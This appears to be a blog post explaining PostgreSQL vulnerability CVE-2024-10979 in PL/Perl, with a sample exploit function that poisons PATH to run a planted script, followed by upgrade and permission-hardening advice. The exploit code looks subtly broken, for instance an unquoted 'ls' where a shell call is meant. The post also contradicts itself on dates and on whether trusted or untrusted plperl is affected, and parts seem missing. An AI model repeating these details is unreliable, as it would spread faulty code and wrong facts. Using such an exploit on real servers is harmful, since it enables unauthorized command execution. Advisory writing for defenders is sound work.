In early 2024, the PostgreSQL community patched a critical vulnerability known as CVE-2024-10979. If you administer or develop on Postgres, especially with the PL/Perl procedural language, this one’s for you. This long read post will dig into what went wrong, who’s at risk, a sample exploit, and how you can lock things down.
What’s the Problem?
PL/Perl lets you write PostgreSQL functions in Perl. Unusually, PL/Perl did not properly lock down sensitive environment variables (like PATH) while running untrusted user code. That means even unprivileged database users could tweak critical process variables via Perl.
A malicious user could exploit this to alter how Perl loads external binaries (by messing with PATH), or even trick Perl modules into loading attacker-controlled code—sometimes allowing them to escalate straight to remote code execution.
PostgreSQL before 17.1, 16.5, 15.9, 14.14, 13.17, or 12.21
*(All versions with PL/Perl support and the untrusted plperl language enabled.)*
How Could Someone Exploit This?
Suppose Bob, a database user, is only supposed to read some rows. He shouldn’t be able to affect system files or run commands on the server. However, by creating a plperl function, Bob can change environment variables for the backend process.
Example Exploit: Change PATH and Execute Code
Exploit Goal:
Run arbitrary shell commands by manipulating environment variables inside a plperl function.
Step 1: Craft a Malicious Function
CREATE FUNCTION run_shell_cmd(cmd TEXT) RETURNS TEXT AS $$
# Let’s poison PATH to point to a directory we control
$ENV{PATH} = "/tmp/myevildir";
# Write a malicious shell script to our evil PATH directory
open my $fh, '>', '/tmp/myevildir/ls' or die $!;
print $fh "#!/bin/sh\necho Hacked!\n";
close $fh;
chmod 0755, '/tmp/myevildir/ls';
# Execute a shell command that uses our crafted PATH
my $output = ls;
return $output;
$$ LANGUAGE plperl;
Step 2: Trigger the Function
SELECT run_shell_cmd('anything');
Result:
Instead of running the legitimate /bin/ls, Perl uses the new PATH and executes /tmp/myevildir/ls, printing Hacked!. This demo is simple: a real attacker could instead place a Perl module or alter other variables to run arbitrary code.
Why Is This So Dangerous?
- Unprivileged users: No need to break out of Postgres, just have right to create plperl functions.
OS integration: Attackers can trick the database into running code as the Postgres system user.
As the PostgreSQL security advisory reveals:
> “PL/Perl did not sufficiently restrict the environment variables it passes from the database server process. Disabling Perl’s environment variable inheritance is recommended.”
How Was It Fixed?
- From PostgreSQL 17.1, 16.5, 15.9, 14.14, 13.17, 12.21 onward, if you create an untrusted plperl function, Perl’s environment is cleaned up before running any user code.
- All sensitive process-level variables like PATH, PERL5LIB, PERL5OPT, LD_PRELOAD, etc., are sanitized.
Official patches:
- PostgreSQL Mailing List: Security Release
- Git Commit Fix Example
Restrict plperl language to *trusted users only*, or, better yet, drop it entirely if not used.
3. Audit your CREATE FUNCTION permissions: Only let trusted roles create functions in untrusted languages.
Sample for restricting plperl
REVOKE USAGE ON LANGUAGE plperl FROM PUBLIC;
GRANT USAGE ON LANGUAGE plperl TO trusted_role;
Bottom Line
CVE-2024-10979 is a classic privilege escalation via mishandled environment variables. If you use PL/Perl on affected versions and expose database access to untrusted users (internal or external), you must upgrade ASAP!
References
- PostgreSQL Security Release: Release announcement
- NVD Entry: CVE-2024-10979 at NVD
- Git Patch: Commit for CVE-2024-10979
- Red Hat: Security Notice
Timeline
Published on: 11/14/2024 13:15:04 UTC